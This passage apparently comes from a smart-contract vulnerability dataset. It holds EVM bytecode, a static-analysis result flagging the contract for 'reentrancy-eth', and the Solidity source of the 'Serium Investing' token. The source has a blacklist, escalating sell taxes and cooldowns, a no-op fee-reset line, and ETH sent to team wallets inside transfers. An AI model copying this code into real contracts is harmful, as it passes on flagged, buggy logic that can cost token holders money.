5b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c36565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c36565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611cb2565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461146e565b600081848411156112115760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261149c565b90506112de83826114bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611ce1565b816001815181106113cc576113cc611c6b565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a6e57610a6e600e54600c55600f54600d55565b60008060006114a9611626565b90925090506114b882826114bf565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a29086611733565b6001600160a01b0389166000908152600260205260409020556115c481611792565b6115ce84836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164182826114bf565b82101561165d57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149c565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b6000806117408385611cb2565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061179c61149c565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114bf565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106ab565b60006118c08385611d91565b9050826118cd8583611d6f565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112de8161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112de82611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112de8161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205486abf01a95cde68507f31b1649b3a325f1cb6708fc604173d9d3ad5dc7f82d64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,224
0xdf21dCbbC4F47982AD628619d0b78d8ff694dD79
pragma solidity ^0.8.4; //SPDX-License-Identifier: Unlicensed abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract SeriumInvesting is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Serium Investing"; string private constant _symbol = "SRM"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 8; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 8; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 8; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102cb578063c9567bf9146102e0578063d543dbeb146102f5578063dd62ed3e14610315578063e8078d941461035b57600080fd5b8063715018a6146102425780638da5cb5b1461025757806395d89b411461027f578063a9059cbb146102ab57600080fd5b8063313ce567116100d1578063313ce567146101cf5780635932ead1146101eb5780636fc3eaec1461020d57806370a082311461022257600080fd5b806306fdde031461010e578063095ea7b31461015957806318160ddd1461018957806323b872dd146101af57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601081526f53657269756d20496e76657374696e6760801b60208201525b6040516101509190611ad0565b60405180910390f35b34801561016557600080fd5b50610179610174366004611a28565b610370565b6040519015158152602001610150565b34801561019557600080fd5b50683635c9adc5dea000005b604051908152602001610150565b3480156101bb57600080fd5b506101796101ca3660046119e8565b610387565b3480156101db57600080fd5b5060405160098152602001610150565b3480156101f757600080fd5b5061020b610206366004611a53565b6103f0565b005b34801561021957600080fd5b5061020b610441565b34801561022e57600080fd5b506101a161023d366004611978565b61046e565b34801561024e57600080fd5b5061020b610490565b34801561026357600080fd5b506000546040516001600160a01b039091168152602001610150565b34801561028b57600080fd5b5060408051808201909152600381526253524d60e81b6020820152610143565b3480156102b757600080fd5b506101796102c6366004611a28565b610504565b3480156102d757600080fd5b5061020b610511565b3480156102ec57600080fd5b5061020b610547565b34801561030157600080fd5b5061020b610310366004611a8b565b61059c565b34801561032157600080fd5b506101a16103303660046119b0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561036757600080fd5b5061020b61066f565b600061037d3384846109dc565b5060015b92915050565b6000610394848484610b00565b6103e684336103e185604051806060016040528060288152602001611c8b602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111c9565b6109dc565b5060019392505050565b6000546001600160a01b031633146104235760405162461bcd60e51b815260040161041a90611b23565b60405180910390fd5b60128054911515600160c01b0260ff60c01b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461046157600080fd5b4761046b81611203565b50565b6001600160a01b03811660009081526002602052604081205461038190611288565b6000546001600160a01b031633146104ba5760405162461bcd60e51b815260040161041a90611b23565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061037d338484610b00565b600f546001600160a01b0316336001600160a01b03161461053157600080fd5b600061053c3061046e565b905061046b8161130c565b6000546001600160a01b031633146105715760405162461bcd60e51b815260040161041a90611b23565b601254600160a81b900460ff1661058757600080fd5b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105c65760405162461bcd60e51b815260040161041a90611b23565b600081116106165760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161041a565b610634606461062e683635c9adc5dea00000846114b1565b90611530565b60138190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146106995760405162461bcd60e51b815260040161041a90611b23565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106d63082683635c9adc5dea000006109dc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070f57600080fd5b505afa158015610723573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107479190611994565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078f57600080fd5b505afa1580156107a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c79190611994565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080f57600080fd5b505af1158015610823573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108479190611994565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d71947306108778161046e565b60008061088c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108ef57600080fd5b505af1158015610903573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109289190611aa3565b50506012805463ffff00ff60a81b198116630101000160a81b179091556729a2241af62c000060135560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109a057600080fd5b505af11580156109b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d89190611a6f565b5050565b6001600160a01b038316610a3e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041a565b6001600160a01b038216610a9f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b645760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041a565b6001600160a01b038216610bc65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041a565b60008111610c285760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041a565b6000546001600160a01b03848116911614801590610c5457506000546001600160a01b03838116911614155b1561116c57601254600160c01b900460ff1615610d3b576001600160a01b0383163014801590610c8d57506001600160a01b0382163014155b8015610ca757506011546001600160a01b03848116911614155b8015610cc157506011546001600160a01b03838116911614155b15610d3b576011546001600160a01b0316336001600160a01b03161480610cfb57506012546001600160a01b0316336001600160a01b0316145b610d3b5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161041a565b6001600160a01b0383166000908152600a602052604090205460ff16158015610d7d57506001600160a01b0382166000908152600a602052604090205460ff16155b610d8657600080fd5b6012546001600160a01b038481169116148015610db157506011546001600160a01b03838116911614155b8015610dd657506001600160a01b03821660009081526005602052604090205460ff16155b8015610deb5750601254600160c01b900460ff165b15610e6957601254600160a01b900460ff16610e0657600080fd5b601354811115610e1557600080fd5b6001600160a01b0382166000908152600b60205260409020544211610e3957600080fd5b610e4442601e611bc8565b6001600160a01b0383166000908152600b602052604090205560086009819055600290555b6000610e743061046e565b601254909150600160b01b900460ff16158015610e9f57506012546001600160a01b03858116911614155b8015610eb45750601254600160b81b900460ff165b1561116a57601254610ee29060649061062e90600390610edc906001600160a01b031661046e565b906114b1565b8211158015610ef357506013548211155b610efc57600080fd5b6001600160a01b0384166000908152600c60205260409020544211610f2057600080fd5b6001600160a01b0384166000908152600d60205260409020544290610f489062015180611bc8565b1015610f68576001600160a01b0384166000908152600e60205260408120555b6001600160a01b0384166000908152600e6020526040902054610ff5576001600160a01b0384166000908152600e60205260408120805491610fa983611c36565b90915550506001600160a01b0384166000908152600d602052604090204290819055610fd790610e10611bc8565b6001600160a01b0385166000908152600c602052604090205561112d565b6001600160a01b0384166000908152600e60205260409020546001141561104c576001600160a01b0384166000908152600e6020526040812080549161103a83611c36565b90915550610fd7905042611c20611bc8565b6001600160a01b0384166000908152600e6020526040902054600214156110a3576001600160a01b0384166000908152600e6020526040812080549161109183611c36565b90915550610fd7905042615460611bc8565b6001600160a01b0384166000908152600e60205260409020546003141561112d576001600160a01b0384166000908152600e602052604081208054916110e883611c36565b90915550506001600160a01b0384166000908152600d60205260409020546111139062015180611bc8565b6001600160a01b0385166000908152600c60205260409020555b6111368161130c565b4780156111465761114647611203565b6001600160a01b0385166000908152600e602052604090205461116890611572565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111ae57506001600160a01b03831660009081526005602052604090205460ff165b156111b7575060005b6111c384848484611594565b50505050565b600081848411156111ed5760405162461bcd60e51b815260040161041a9190611ad0565b5060006111fa8486611c1f565b95945050505050565b600f546001600160a01b03166108fc61121d836002611530565b6040518115909202916000818181858888f19350505050158015611245573d6000803e3d6000fd5b506010546001600160a01b03166108fc611260836002611530565b6040518115909202916000818181858888f193505050501580156109d8573d6000803e3d6000fd5b60006006548211156112ef5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161041a565b60006112f96115c0565b90506113058382611530565b9392505050565b6012805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113b657600080fd5b505afa1580156113ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ee9190611994565b8160018151811061140f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260115461143591309116846109dc565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061146e908590600090869030904290600401611b58565b600060405180830381600087803b15801561148857600080fd5b505af115801561149c573d6000803e3d6000fd5b50506012805460ff60b01b1916905550505050565b6000826114c057506000610381565b60006114cc8385611c00565b9050826114d98583611be0565b146113055760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041a565b600061130583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115e3565b806008546115809190611c00565b600855600181111561046b57600a60095550565b806115a1576115a1611611565b6115ac848484611634565b806111c3576111c360076008908155600955565b60008060006115cd61172b565b90925090506115dc8282611530565b9250505090565b600081836116045760405162461bcd60e51b815260040161041a9190611ad0565b5060006111fa8486611be0565b6008541580156116215750600954155b1561162857565b60006008819055600955565b6000806000806000806116468761176d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061167890876117ca565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116a7908661180c565